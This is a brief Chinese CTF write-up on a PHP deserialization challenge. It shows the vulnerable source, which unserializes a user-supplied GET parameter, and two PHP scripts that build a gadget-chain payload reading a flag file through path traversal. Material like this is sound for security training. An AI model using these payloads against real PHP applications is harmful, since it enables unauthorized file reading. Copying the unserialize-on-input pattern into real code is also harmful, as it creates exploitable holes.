除了按部就班的根据代码来写序列化
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
<?php
class acp
{
protected $cinder;
public $neutron=NULL;
public $nova=NULL;
function __construct()
{
$this->cinder =new ace;
}
}
class ace
{
public $filename="../nssctfasdasdflag";
public $openstack;
public $docker;
}
$c=new acp();
$d=new ace();
$d->docker=serialize($c);
echo urlencode(serialize($c));
?>
也可以直接不给$neutron,$nova,$docker值
<?php
highlight_file(file);
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder =new ace ;
}
}
class ace
{
public $filename="../nssctfasdasdflag";
public $openstack;
public $docker;
}
$b=new acp();
echo urlencode(serialize($b));
?>